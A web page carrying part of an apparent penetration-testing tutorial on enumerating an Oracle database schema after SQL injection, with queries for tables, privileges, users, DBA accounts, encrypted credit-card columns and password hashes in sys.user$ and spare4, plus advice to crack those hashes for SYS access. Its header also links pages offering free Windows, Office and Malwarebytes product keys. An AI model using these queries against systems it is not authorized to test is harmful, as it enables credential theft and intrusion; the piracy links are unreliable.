Exploiting SQL Injection : Enumerating the Database Schema (part 3) - Oracle

- Free product key for windows 10
- Free Product Key for Microsoft office 365
- Malwarebytes Premium 3.7.1 Serial Keys (LifeTime) 2019


The last example we will cover is how to enumerate the database schema when the back-end DBMS is Oracle. An important fact to remember when using Oracle is that you will normally be accessing only one database at a time, as databases in Oracle are normally accessed via a specific connection, and multiple databases accessed by an application will generally have different connections. Therefore, unlike SQL Server and MySQL, you won't be enumerating the databases present when finding the database schema.

The first thing you may be interested in is the list of tables that belong to the current user. In the context of an application, this will generally be the application tables in the database:

select table_name from user_tables;

You can extend this to look at all of the tables in the database and their owners:

select owner,table_name from all_tables;

You can enumerate some more information about your application tables to determine the number of columns and rows that are present in the tables as follows:

select a.table_name||'['||count(*)||']='||num_rows from user_tab_columns a,
    user_tables b where a.table_name=b.table_name group by

And you can enumerate the same information for all accessible/available tables, including their users, table names, and the number of rows in these tables as follows:

select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from
    all_tab_columns a, all_tables b where a.table_name=b.table_name group by


Finally, you can enumerate the columns and data types in each table as follows, allowing you to get a more complete picture of the database schema:

select table_name||':'||column_name||':'||data_type||':'||column_id from
    user_tab_columns order by table_name,column_id

Another thing you may be interested in is obtaining the privileges of the current database user, which you can do as an unprivileged user. The following queries return the privileges of the current user. In Oracle, there are four different kinds of privileges (SYSTEM, ROLE, TABLE, and COLUMN).

To get system privileges for the current user:

select * from user_sys_privs; --show system privileges of the current user

To get role privileges for the current user:

select * from user_role_privs; --show role privileges of the current user

To get table privileges for the current user:

select * from user_tab_privs;

To get column privileges for the current user:

select * from user_col_privs;

To get the list of all possible privileges you must replace the user string in the preceding queries with all, as follows.

To get all system privileges:

select * from all_sys_privs;

To get all role privileges:

select * from all_role_privs;

To get all table privileges:

select * from all_tab_privs;

To get all column privileges:

select * from all_col_privs;

Now that you have a listing of the database schema and some information about your current user, you may be interested in enumerating other information in the database, such as a list of all of the users in the database. The following query returns a list of all users in the database. This query has the advantage that, by default, it can be executed by any user of the database.

select username,created from all_users order by created desc;
SCOTT               04–JAN–09
PHP                 04–JAN–09
PLSQL               02–JAN–09
MONODEMO            29–DEC–08
DEMO1               29–DEC–08
ALEX                14–DEC–08
OWBSYS              13–DEC–08
FLOWS_030000        13–DEC–08

You can query additional items as well, depending on the version of the database in use. For example, an unprivileged user in versions up to Oracle 10g Rel. 2 can retrieve the database usernames and password hashes with the following SELECT statement:

SELECT name, password, astatus FROM sys.user$ where type#>0 and
  length(password)=16 (priv), astatus (0= open, 9= locked&expired)

SYS                  AD24A888FC3B1BE7                   0
SYSTEM               BD3D49AD69E3FA34                   0
OUTLN                4A3BA55E08595C81                   9

You can test or crack the password hashes with publicly available tools, possibly allowing you to obtain credentials for a privileged database account such as SYS. In Oracle 11g, Oracle has changed the password hashing algorithm in use, and the password hash is now located in a different column—spare4, as follows:

SELECT name,spare4 FROM sys.user$ where type#>0 and length(spare4)=62

If the current user is a privileged one, or access as a privileged user has been obtained, you can look for a number of other interesting pieces of information in the database structure. Since Oracle 10g Rel. 2, Oracle offers the capability of transparently encrypting columns in the database. Normally, only the most important or sensitive tables will be encrypted, and therefore you are interested in finding these tables as follows:

select table_name,column_name,encryption_alg,salt from

TABLE_NAME           COLUMN_NAME           ENCRYPTION_ALG              SAL
CREDITCARD           CCNR                  AES256                      NO
CREDITCARD           CVE                   AES256                      NO
CREDITCARD           VALID                 AES256                      NO


Another piece of information that could be useful, if you have a privileged account, is to know what database administrator (DBA) accounts exist within the database, as follows:

Select grantee,granted_role,admin_option,default_role from dba_role_privs
   where granted_role='DBA';


Enumerating a full database by hand can be a very tedious task. Although it can be fairly easy to quickly code a small program to perform the task for you (using your favorite scripting language), several free tools are available that automate the process.

  •  SQL Server 2008 R2 : Creating and Managing Indexes - Creating Indexes (part 2) - Creating Indexes with SSMS
  •  SQL Server 2008 R2 : Creating and Managing Indexes - Creating Indexes (part 1) - Creating Indexes with T-SQL
  •  SQL Server 2008 R2 : Creating and Managing Indexes - Types of Indexes
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 5) - Using the Dimension Designer
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 4) - Using the Dimension Wizard
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 3) - Creating a Cube with the Cube Wizard, Using the Cube Designer
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 2) - Adding a Data Source View
  •  SQL Server 2005 : Basic OLAP - Building Your First Cube (part 1) - Creating the Project
  •  SQL Server 2005 : Basic OLAP - OLAP 101
  •  SQL Server 2005 : Report Server Architecture
    Top 10
    Free Mobile And Desktop Apps For Accessing Restricted Websites
    MASERATI QUATTROPORTE; DIESEL : Lure of Italian limos
    TOYOTA CAMRY 2; 2.5 : Camry now more comely
    KIA SORENTO 2.2CRDi : Fuel-sipping slugger
    How To Setup, Password Protect & Encrypt Wireless Internet Connection
    Emulate And Run iPad Apps On Windows, Mac OS X & Linux With iPadian
    Backup & Restore Game Progress From Any Game With SaveGameProgress
    Generate A Facebook Timeline Cover Using A Free App
    New App for Women ‘Remix’ Offers Fashion Advice & Style Tips
    SG50 Ferrari F12berlinetta : Prancing Horse for Lion City's 50th
    - Messages forwarded by Outlook rule go nowhere
    - Create and Deploy Windows 7 Image
    - How do I check to see if my exchange 2003 is an open relay? (not using a open relay tester tool online, but on the console)
    - Creating and using an unencrypted cookie in ASP.NET
    - Directories
    - Poor Performance on Sharepoint 2010 Server
    - SBS 2008 ~ The e-mail alias already exists...
    - Public to Private IP - DNS Changes
    - Send Email from Winform application
    - How to create a .mdb file from ms sql server database.......
    programming4us programming4us